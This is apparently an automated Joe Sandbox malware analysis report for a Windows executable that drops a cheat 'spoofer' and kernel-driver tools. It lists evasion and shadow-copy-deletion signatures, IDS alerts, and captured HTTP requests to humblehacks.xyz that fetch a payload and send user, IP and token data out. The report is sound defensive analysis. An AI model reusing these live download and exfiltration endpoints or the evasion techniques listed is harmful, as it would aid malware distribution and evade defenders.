Edit tour

Windows Analysis Report
aYu936prD4.exe

Overview

General Information

Sample name:	aYu936prD4.exe renamed because original name is a hash value
Original sample name:	610d0db5d146f16caad2482b11c22d30.exe
Analysis ID:	1581894
MD5:	610d0db5d146f16caad2482b11c22d30
SHA1:	89132d1efee95a7a63980f1479bb40f72fc273da
SHA256:	8bdcd45ef7b2635fcae54376a03b803354dec1e97d9e2011e935f4ee72c3c92f
Tags:	exeuser-abuse_ch
Infos:

Detection

Score:	93
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

AI detected suspicious sample

Deletes shadow drive data (may be related to ransomware)

Drops executables to the windows directory (C:\Windows) and starts them

Found direct / indirect Syscall (likely to bypass EDR)

Hides threads from debuggers

Machine Learning detection for dropped file

Machine Learning detection for sample

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

PE file contains section with special chars

Performs DNS queries to domains with low reputation

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Queries sensitive service information (via WMI, WIN32_SERVICE, often done to detect sandboxes)

Tries to detect debuggers (CloseHandle check)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to evade analysis by execution special instruction (VM detection)

Yara detected BatToExe compiled binary

Yara detected Generic Downloader

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for kernel debuggers (NtQuerySystemInformation(SystemKernelDebuggerInformation))

Checks if the current process is being debugged

Contains functionality to detect virtual machines (SLDT)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected potential crypto function

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Enables debug privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

May use bcdedit to modify the Windows boot settings

PE file contains sections with non-standard names

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

aYu936prD4.exe (PID: 7356 cmdline: "C:\Users\user\Desktop\aYu936prD4.exe" MD5: 610D0DB5D146F16CAAD2482B11C22D30)

ESCore.exe (PID: 7880 cmdline: C:\Windows\System32\ESCore.exe chkdrv MD5: 6A8261CF7AFD1FCFE67BF3FF0A77A328)

conhost.exe (PID: 7888 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 6376 cmdline: C:\Windows\system32\cmd.exe /c Updater.bat MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6384 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

timeout.exe (PID: 7284 cmdline: timeout /t 5 MD5: 100065E21CFBBDE57CBA2838921F84D6)

VivianSpoofer.exe (PID: 1432 cmdline: VivianSpoofer.exe MD5: 48DE217B20FEEF7FBD491904885FADE9)

ESCore.exe (PID: 1312 cmdline: C:\Windows\System32\ESCore.exe chkdrv MD5: 689211E5BDAC447C2F016BFBAD0B8CFE)

conhost.exe (PID: 7936 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

ESCore.exe (PID: 1156 cmdline: C:\Windows\System32\ESCore.exe reg Username Token MD5: 689211E5BDAC447C2F016BFBAD0B8CFE)

conhost.exe (PID: 1180 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

ESCore.exe (PID: 4260 cmdline: C:\Windows\System32\ESCore.exe clr MD5: 689211E5BDAC447C2F016BFBAD0B8CFE)

conhost.exe (PID: 2508 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
aYu936prD4.exe	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
aYu936prD4.exe	JoeSecurity_BatToExe	Yara detected BatToExe compiled binary	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\Desktop\UpdatePackage.dat	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
C:\Users\user\Desktop\UpdatePackage.dat	JoeSecurity_BatToExe	Yara detected BatToExe compiled binary	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000000.1256147960.0000021B138DA000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_BatToExe	Yara detected BatToExe compiled binary	Joe Security
00000011.00000002.2555361754.0000027942B51000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_BatToExe	Yara detected BatToExe compiled binary	Joe Security
00000011.00000000.1788327971.000002792533A000.00000002.00000001.01000000.00000010.sdmp	JoeSecurity_BatToExe	Yara detected BatToExe compiled binary	Joe Security
00000000.00000002.1770992477.0000021B31191000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_BatToExe	Yara detected BatToExe compiled binary	Joe Security
00000000.00000002.1748434158.0000021B26E6F000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_BatToExe	Yara detected BatToExe compiled binary	Joe Security

Unpacked PEs

Source	Rule	Description	Author
0.2.aYu936prD4.exe.21b31816e7e.10.unpack	JoeSecurity_BatToExe	Yara detected BatToExe compiled binary	Joe Security
17.0.VivianSpoofer.exe.2792596ac60.4.unpack	JoeSecurity_BatToExe	Yara detected BatToExe compiled binary	Joe Security
0.2.aYu936prD4.exe.21b274f4d86.4.unpack	JoeSecurity_BatToExe	Yara detected BatToExe compiled binary	Joe Security
0.0.aYu936prD4.exe.21b13f5f9ba.1.unpack	JoeSecurity_BatToExe	Yara detected BatToExe compiled binary	Joe Security
17.2.VivianSpoofer.exe.27943181dc0.10.unpack	JoeSecurity_BatToExe	Yara detected BatToExe compiled binary	Joe Security
17.2.VivianSpoofer.exe.27943181dc0.10.raw.unpack	JoeSecurity_BatToExe	Yara detected BatToExe compiled binary	Joe Security
17.2.VivianSpoofer.exe.279431a1435.6.raw.unpack	JoeSecurity_BatToExe	Yara detected BatToExe compiled binary	Joe Security
0.0.aYu936prD4.exe.21b13f7f02f.3.raw.unpack	JoeSecurity_BatToExe	Yara detected BatToExe compiled binary	Joe Security
17.0.VivianSpoofer.exe.2792596ac60.4.raw.unpack	JoeSecurity_BatToExe	Yara detected BatToExe compiled binary	Joe Security
0.2.aYu936prD4.exe.21b318364f3.7.raw.unpack	JoeSecurity_BatToExe	Yara detected BatToExe compiled binary	Joe Security
17.0.VivianSpoofer.exe.2792598a2d5.2.raw.unpack	JoeSecurity_BatToExe	Yara detected BatToExe compiled binary	Joe Security
0.0.aYu936prD4.exe.21b13f5f9ba.1.raw.unpack	JoeSecurity_BatToExe	Yara detected BatToExe compiled binary	Joe Security
0.2.aYu936prD4.exe.21b275143fb.1.raw.unpack	JoeSecurity_BatToExe	Yara detected BatToExe compiled binary	Joe Security
0.2.aYu936prD4.exe.21b274f4d86.4.raw.unpack	JoeSecurity_BatToExe	Yara detected BatToExe compiled binary	Joe Security
0.2.aYu936prD4.exe.21b31816e7e.10.raw.unpack	JoeSecurity_BatToExe	Yara detected BatToExe compiled binary	Joe Security
0.2.aYu936prD4.exe.21b31010000.12.unpack	JoeSecurity_BatToExe	Yara detected BatToExe compiled binary	Joe Security
17.2.VivianSpoofer.exe.27942b7ad4f.5.raw.unpack	JoeSecurity_BatToExe	Yara detected BatToExe compiled binary	Joe Security
0.2.aYu936prD4.exe.21b26cedf08.5.unpack	JoeSecurity_BatToExe	Yara detected BatToExe compiled binary	Joe Security
17.2.VivianSpoofer.exe.279429d0000.9.unpack	JoeSecurity_BatToExe	Yara detected BatToExe compiled binary	Joe Security
0.2.aYu936prD4.exe.21b26e98c34.2.unpack	JoeSecurity_BatToExe	Yara detected BatToExe compiled binary	Joe Security
0.2.aYu936prD4.exe.21b311bad2c.8.raw.unpack	JoeSecurity_BatToExe	Yara detected BatToExe compiled binary	Joe Security
0.0.aYu936prD4.exe.21b13903868.5.unpack	JoeSecurity_BatToExe	Yara detected BatToExe compiled binary	Joe Security
17.0.VivianSpoofer.exe.27925363bef.5.raw.unpack	JoeSecurity_BatToExe	Yara detected BatToExe compiled binary	Joe Security
0.0.aYu936prD4.exe.21b13903868.5.raw.unpack	JoeSecurity_BatToExe	Yara detected BatToExe compiled binary	Joe Security
17.0.VivianSpoofer.exe.27925363bef.5.unpack	JoeSecurity_BatToExe	Yara detected BatToExe compiled binary	Joe Security
0.2.aYu936prD4.exe.21b26e98c34.2.raw.unpack	JoeSecurity_BatToExe	Yara detected BatToExe compiled binary	Joe Security
17.2.VivianSpoofer.exe.27942b7ad4f.5.unpack	JoeSecurity_BatToExe	Yara detected BatToExe compiled binary	Joe Security
0.2.aYu936prD4.exe.21b311bad2c.8.unpack	JoeSecurity_BatToExe	Yara detected BatToExe compiled binary	Joe Security
17.0.VivianSpoofer.exe.279250a0000.0.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
17.0.VivianSpoofer.exe.279250a0000.0.unpack	JoeSecurity_BatToExe	Yara detected BatToExe compiled binary	Joe Security
Click to see the 25 entries

Sigma Signatures

⊘No Sigma rule has matched

Suricata Signatures

ET MALWARE PECompact2 Packed Binary - Sometimes Hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-29T08:56:04.909608+0100	2008547	1	A Network Trojan was detected	92.205.3.41	443	192.168.2.7	49707	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-29T08:55:50.151309+0100	2803305	3	Unknown Traffic	192.168.2.7	49707	92.205.3.41	443	TCP
2024-12-29T08:56:44.013736+0100	2803305	3	Unknown Traffic	192.168.2.7	49831	92.205.3.41	443	TCP
2024-12-29T08:56:46.001437+0100	2803305	3	Unknown Traffic	192.168.2.7	49837	92.205.3.41	443	TCP
2024-12-29T08:57:04.246419+0100	2803305	3	Unknown Traffic	192.168.2.7	49882	92.205.3.41	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-29T08:56:55.743757+0100	2803274	2	Potentially Bad Traffic	192.168.2.7	49858	92.205.3.41	443	TCP
2024-12-29T08:56:57.794102+0100	2803274	2	Potentially Bad Traffic	192.168.2.7	49864	92.205.3.41	443	TCP
2024-12-29T08:56:59.918442+0100	2803274	2	Potentially Bad Traffic	192.168.2.7	49870	92.205.3.41	443	TCP
2024-12-29T08:57:02.002427+0100	2803274	2	Potentially Bad Traffic	192.168.2.7	49876	92.205.3.41	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: aYu936prD4.exe	ReversingLabs: Detection: 47%
Source: aYu936prD4.exe	Virustotal: Detection: 48%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.7% probability

Machine Learning detection for dropped file

Source: C:\Windows\System32\ESCore.exe	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\UpdatePackage.dat	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: aYu936prD4.exe

Joe Sandbox ML: detected

Source: unknown	HTTPS traffic detected: 92.205.3.41:443 -> 192.168.2.7:49702 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 92.205.3.41:443 -> 192.168.2.7:49825 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 92.205.3.41:443 -> 192.168.2.7:49858 version: TLS 1.2

Source: aYu936prD4.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: atapi.pdbGCTL source: ESCore.exe, 00000008.00000002.1337631993.0000000140037000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000013.00000002.1907544378.000000014003A000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000017.00000002.2105997875.000000014003A000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 0000001A.00000002.2205403897.000000014003A000.00000004.00000001.01000000.0000000C.sdmp
Source:	Binary string: System.Windows.Forms.pdb source: VivianSpoofer.exe, 00000011.00000002.2544805206.00000279409C3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: f:\ycc\gdrv64\objfre_wnet_AMD64\amd64\gdrv64.pdb! source: ESCore.exe, 00000008.00000002.1337598398.000000014001A000.00000002.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000013.00000002.1907516699.000000014001E000.00000002.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000017.00000002.2105977721.000000014001E000.00000002.00000001.01000000.0000000C.sdmp, ESCore.exe, 0000001A.00000002.2205380472.000000014001E000.00000002.00000001.01000000.0000000C.sdmp
Source:	Binary string: bthmini.pdbGCTL source: ESCore.exe, 00000013.00000002.1907544378.000000014005C000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000017.00000002.2105997875.000000014005C000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 0000001A.00000002.2205403897.000000014005C000.00000004.00000001.01000000.0000000C.sdmp
Source:	Binary string: u.PDb{Kb source: ESCore.exe.0.dr, UpdatePackage.dat.0.dr
Source:	Binary string: atapi.pdb source: ESCore.exe, 00000008.00000002.1337631993.0000000140037000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000013.00000002.1907544378.000000014003A000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000017.00000002.2105997875.000000014003A000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 0000001A.00000002.2205403897.000000014003A000.00000004.00000001.01000000.0000000C.sdmp
Source:	Binary string: System.Windows.Forms.pdbt source: VivianSpoofer.exe, 00000011.00000002.2544805206.00000279409C3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: bthmini.pdb source: ESCore.exe, 00000013.00000002.1907544378.000000014005C000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000017.00000002.2105997875.000000014005C000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 0000001A.00000002.2205403897.000000014005C000.00000004.00000001.01000000.0000000C.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dlls.pdbq\| source: VivianSpoofer.exe, 00000011.00000002.2544805206.00000279409C3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\Wreko\Desktop\SinDriverExample\Output\Test.pdb source: ESCore.exe, 00000008.00000002.1337631993.0000000140037000.00000004.00000001.01000000.0000000C.sdmp
Source:	Binary string: F:\Other driver 12-03-2020\Cod Source\COD_Cleanup\x64\Release\COD_Cleanup.pdb@ source: VivianSpoofer.exe, 00000011.00000002.2555361754.000002794320C000.00000004.08000000.00040000.00000000.sdmp, aYu936prD4.exe, UpdatePackage.dat.0.dr
Source:	Binary string: c:\users\cloudbuild\337244\sdk\nal\src\winnt_wdm\driver\objfre_wnet_AMD64\amd64\iqvw64e.pdb source: ESCore.exe, 00000008.00000002.1337598398.000000014001A000.00000002.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000013.00000002.1907516699.000000014001E000.00000002.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000017.00000002.2105977721.000000014001E000.00000002.00000001.01000000.0000000C.sdmp, ESCore.exe, 0000001A.00000002.2205380472.000000014001E000.00000002.00000001.01000000.0000000C.sdmp
Source:	Binary string: f:\ycc\gdrv64\objfre_wnet_AMD64\amd64\gdrv64.pdb source: ESCore.exe, 00000008.00000002.1337598398.000000014001A000.00000002.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000013.00000002.1907516699.000000014001E000.00000002.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000017.00000002.2105977721.000000014001E000.00000002.00000001.01000000.0000000C.sdmp, ESCore.exe, 0000001A.00000002.2205380472.000000014001E000.00000002.00000001.01000000.0000000C.sdmp
Source:	Binary string: C:\Users\Dyaa\source\repos\spr\x64\Release\homie.pdb source: VivianSpoofer.exe, 00000011.00000002.2555361754.000002794320C000.00000004.08000000.00040000.00000000.sdmp, aYu936prD4.exe, UpdatePackage.dat.0.dr
Source:	Binary string: C:\Users\Dyaa\source\repos\UpdateEnforcer\obj\x64\Release\UpdateEnforcer.pdb source: VivianSpoofer.exe, 00000011.00000002.2555361754.000002794320C000.00000004.08000000.00040000.00000000.sdmp, aYu936prD4.exe, UpdatePackage.dat.0.dr
Source:	Binary string: e:\work\dangerzone\flashdriverwin64\Release\amd64\amifldrv64.pdb source: VivianSpoofer.exe, 00000011.00000002.2555361754.000002794320C000.00000004.08000000.00040000.00000000.sdmp, aYu936prD4.exe, UpdatePackage.dat.0.dr
Source:	Binary string: F:\Other driver 12-03-2020\Cod Source\COD_Cleanup\x64\Release\COD_Cleanup.pdb source: VivianSpoofer.exe, 00000011.00000002.2555361754.000002794320C000.00000004.08000000.00040000.00000000.sdmp, aYu936prD4.exe, UpdatePackage.dat.0.dr

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2008547 - Severity 1 - ET MALWARE PECompact2 Packed Binary - Sometimes Hostile : 92.205.3.41:443 -> 192.168.2.7:49707

Performs DNS queries to domains with low reputation

Source:

DNS query: humblehacks.xyz

Yara detected Generic Downloader

Source: Yara match	File source: aYu936prD4.exe, type: SAMPLE
Source: Yara match	File source: 17.0.VivianSpoofer.exe.279250a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: C:\Users\user\Desktop\UpdatePackage.dat, type: DROPPED

Source: global traffic	HTTP traffic detected: GET /patch/Vivian/patch.txt HTTP/1.1Host: humblehacks.xyzConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /patch/Vivian/UpdatePackage.dat HTTP/1.1Host: humblehacks.xyz
Source: global traffic	HTTP traffic detected: GET /patch/Vivian/patch.txt HTTP/1.1Host: humblehacks.xyzConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Aut.php?auth=1&loginname=Vivianware HTTP/1.1Host: humblehacks.xyz
Source: global traffic	HTTP traffic detected: GET /Aut.php?auth=10 HTTP/1.1Host: humblehacks.xyz
Source: global traffic	HTTP traffic detected: GET /Aut.php?auth=1&loginname=Vivianware HTTP/1.1Host: humblehacks.xyz
Source: global traffic	HTTP traffic detected: GET /Aut.php?auth=10 HTTP/1.1Host: humblehacks.xyzConnection: Keep-Alive

Source: Joe Sandbox View

ASN Name: GD-EMEA-DC-SXB1DE GD-EMEA-DC-SXB1DE

Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:49707 -> 92.205.3.41:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:49837 -> 92.205.3.41:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:49831 -> 92.205.3.41:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.7:49858 -> 92.205.3.41:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.7:49864 -> 92.205.3.41:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:49882 -> 92.205.3.41:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.7:49876 -> 92.205.3.41:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.7:49870 -> 92.205.3.41:443

Source: global traffic	HTTP traffic detected: GET /Aut.php?auth=11 HTTP/1.1User-Agent: Mozilla/5.0Host: humblehacks.xyz
Source: global traffic	HTTP traffic detected: GET /Aut.php?auth=10 HTTP/1.1User-Agent: Mozilla/5.0Host: humblehacks.xyz
Source: global traffic	HTTP traffic detected: GET /Aut.php?auth=1&loginname=Vivianware HTTP/1.1User-Agent: Mozilla/5.0Host: humblehacks.xyz
Source: global traffic	HTTP traffic detected: GET /Aut.php?loginname=Vivianware&auth=4&cc=user&req=upd&newhd=NAME%20:%20Username%20STATE%20:%20Active%20IP%20:%2083.31.140.108%20PRODUCTS%20:%20ken%20:%2023%20GLO10%20:%2020251300%20TOKENS%20:%20kenT%20:%20Token%20GLO10T%20:%20962997-45B26E-A20GLO10SUS_DUR%20:%20N/AHRESETS%20:N/A&oldhd=NAME%20:%20Username%20STATE%20:%20Active%20IP%20:%2083.31.140.108%20PRODUCTS%20:%20GLO10%20:%2020251300%20TOKENS%20:%20GLO10T%20:%20962997-45B26E-A20GLO10%20SUS_DUR%20:%20N/A%20HRESETS%20:%20N/A&nd=Token%20:%20Token%20Period%20: HTTP/1.1User-Agent: Mozilla/5.0Host: humblehacks.xyz

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /patch/Vivian/patch.txt HTTP/1.1Host: humblehacks.xyzConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /patch/Vivian/UpdatePackage.dat HTTP/1.1Host: humblehacks.xyz
Source: global traffic	HTTP traffic detected: GET /patch/Vivian/patch.txt HTTP/1.1Host: humblehacks.xyzConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Aut.php?auth=1&loginname=Vivianware HTTP/1.1Host: humblehacks.xyz
Source: global traffic	HTTP traffic detected: GET /Aut.php?auth=10 HTTP/1.1Host: humblehacks.xyz
Source: global traffic	HTTP traffic detected: GET /Aut.php?auth=11 HTTP/1.1User-Agent: Mozilla/5.0Host: humblehacks.xyz
Source: global traffic	HTTP traffic detected: GET /Aut.php?auth=10 HTTP/1.1User-Agent: Mozilla/5.0Host: humblehacks.xyz
Source: global traffic	HTTP traffic detected: GET /Aut.php?auth=1&loginname=Vivianware HTTP/1.1User-Agent: Mozilla/5.0Host: humblehacks.xyz
Source: global traffic	HTTP traffic detected: GET /Aut.php?loginname=Vivianware&auth=4&cc=user&req=upd&newhd=NAME%20:%20Username%20STATE%20:%20Active%20IP%20:%2083.31.140.108%20PRODUCTS%20:%20ken%20:%2023%20GLO10%20:%2020251300%20TOKENS%20:%20kenT%20:%20Token%20GLO10T%20:%20962997-45B26E-A20GLO10SUS_DUR%20:%20N/AHRESETS%20:N/A&oldhd=NAME%20:%20Username%20STATE%20:%20Active%20IP%20:%2083.31.140.108%20PRODUCTS%20:%20GLO10%20:%2020251300%20TOKENS%20:%20GLO10T%20:%20962997-45B26E-A20GLO10%20SUS_DUR%20:%20N/A%20HRESETS%20:%20N/A&nd=Token%20:%20Token%20Period%20: HTTP/1.1User-Agent: Mozilla/5.0Host: humblehacks.xyz
Source: global traffic	HTTP traffic detected: GET /Aut.php?auth=1&loginname=Vivianware HTTP/1.1Host: humblehacks.xyz
Source: global traffic	HTTP traffic detected: GET /Aut.php?auth=10 HTTP/1.1Host: humblehacks.xyzConnection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: humblehacks.xyz

Source: aYu936prD4.exe, 00000000.00000002.1743213141.0000021B16DD7000.00000004.00000800.00020000.00000000.sdmp, aYu936prD4.exe, 00000000.00000002.1743213141.0000021B16DC6000.00000004.00000800.00020000.00000000.sdmp, UpdatePackage.dat.0.dr	String found in binary or memory: http://aia.trustasia.com/ca.cer0
Source: aYu936prD4.exe, 00000000.00000002.1743213141.0000021B16DD7000.00000004.00000800.00020000.00000000.sdmp, aYu936prD4.exe, 00000000.00000002.1743213141.0000021B16DC6000.00000004.00000800.00020000.00000000.sdmp, UpdatePackage.dat.0.dr	String found in binary or memory: http://aia.trustasia.com/code.cer0
Source: VivianSpoofer.exe, 00000011.00000002.2555361754.000002794320C000.00000004.08000000.00040000.00000000.sdmp, aYu936prD4.exe, UpdatePackage.dat.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDCA-1.crt0
Source: VivianSpoofer.exe, 00000011.00000002.2555361754.000002794320C000.00000004.08000000.00040000.00000000.sdmp, aYu936prD4.exe, UpdatePackage.dat.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: VivianSpoofer.exe, 00000011.00000002.2555361754.000002794320C000.00000004.08000000.00040000.00000000.sdmp, aYu936prD4.exe, UpdatePackage.dat.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertEVCodeSigningCA-SHA2.crt0
Source: VivianSpoofer.exe, 00000011.00000002.2555361754.000002794320C000.00000004.08000000.00040000.00000000.sdmp, aYu936prD4.exe, UpdatePackage.dat.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertHighAssuranceEVRootCA.crt0
Source: aYu936prD4.exe, UpdatePackage.dat.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDTimestampingCA.crt0
Source: ESCore.exe, 00000008.00000002.1337631993.0000000140037000.00000004.00000001.01000000.0000000C.sdmp, VivianSpoofer.exe, 00000011.00000002.2555361754.000002794320C000.00000004.08000000.00040000.00000000.sdmp, ESCore.exe, 00000013.00000002.1907544378.0000000140067000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000013.00000002.1907544378.000000014003A000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000017.00000002.2105997875.000000014003A000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000017.00000002.2105997875.0000000140067000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 0000001A.00000002.2205403897.0000000140067000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 0000001A.00000002.2205403897.000000014003A000.00000004.00000001.01000000.0000000C.sdmp, aYu936prD4.exe, UpdatePackage.dat.0.dr	String found in binary or memory: http://crl.thawte.com/ThawtePCA.crl0
Source: ESCore.exe, 00000008.00000002.1337598398.000000014001A000.00000002.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000013.00000002.1907516699.000000014001E000.00000002.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000017.00000002.2105977721.000000014001E000.00000002.00000001.01000000.0000000C.sdmp, ESCore.exe, 0000001A.00000002.2205380472.000000014001E000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: http://crl.thawte.com/ThawteTimestampingCA.crl0
Source: aYu936prD4.exe, 00000000.00000002.1743213141.0000021B16DD7000.00000004.00000800.00020000.00000000.sdmp, aYu936prD4.exe, 00000000.00000002.1743213141.0000021B16DC6000.00000004.00000800.00020000.00000000.sdmp, UpdatePackage.dat.0.dr	String found in binary or memory: http://crl.trustasia.com/ca.crl0;
Source: aYu936prD4.exe, 00000000.00000002.1743213141.0000021B16DD7000.00000004.00000800.00020000.00000000.sdmp, aYu936prD4.exe, 00000000.00000002.1743213141.0000021B16DC6000.00000004.00000800.00020000.00000000.sdmp, UpdatePackage.dat.0.dr	String found in binary or memory: http://crl.trustasia.com/code.crl0=
Source: VivianSpoofer.exe, 00000011.00000002.2555361754.000002794320C000.00000004.08000000.00040000.00000000.sdmp, aYu936prD4.exe, UpdatePackage.dat.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDCA-1.crl08
Source: VivianSpoofer.exe, 00000011.00000002.2555361754.000002794320C000.00000004.08000000.00040000.00000000.sdmp, aYu936prD4.exe, UpdatePackage.dat.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: aYu936prD4.exe, UpdatePackage.dat.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0P
Source: VivianSpoofer.exe, 00000011.00000002.2555361754.000002794320C000.00000004.08000000.00040000.00000000.sdmp, aYu936prD4.exe, UpdatePackage.dat.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertHighAssuranceEVRootCA.crl0
Source: VivianSpoofer.exe, 00000011.00000002.2555361754.000002794320C000.00000004.08000000.00040000.00000000.sdmp, aYu936prD4.exe, UpdatePackage.dat.0.dr	String found in binary or memory: http://crl3.digicert.com/EVCodeSigningSHA2-g1.crl07
Source: aYu936prD4.exe, UpdatePackage.dat.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-ts.crl02
Source: VivianSpoofer.exe, 00000011.00000002.2555361754.000002794320C000.00000004.08000000.00040000.00000000.sdmp, aYu936prD4.exe, UpdatePackage.dat.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDCA-1.crl0w
Source: VivianSpoofer.exe, 00000011.00000002.2555361754.000002794320C000.00000004.08000000.00040000.00000000.sdmp, aYu936prD4.exe, UpdatePackage.dat.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: aYu936prD4.exe, UpdatePackage.dat.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
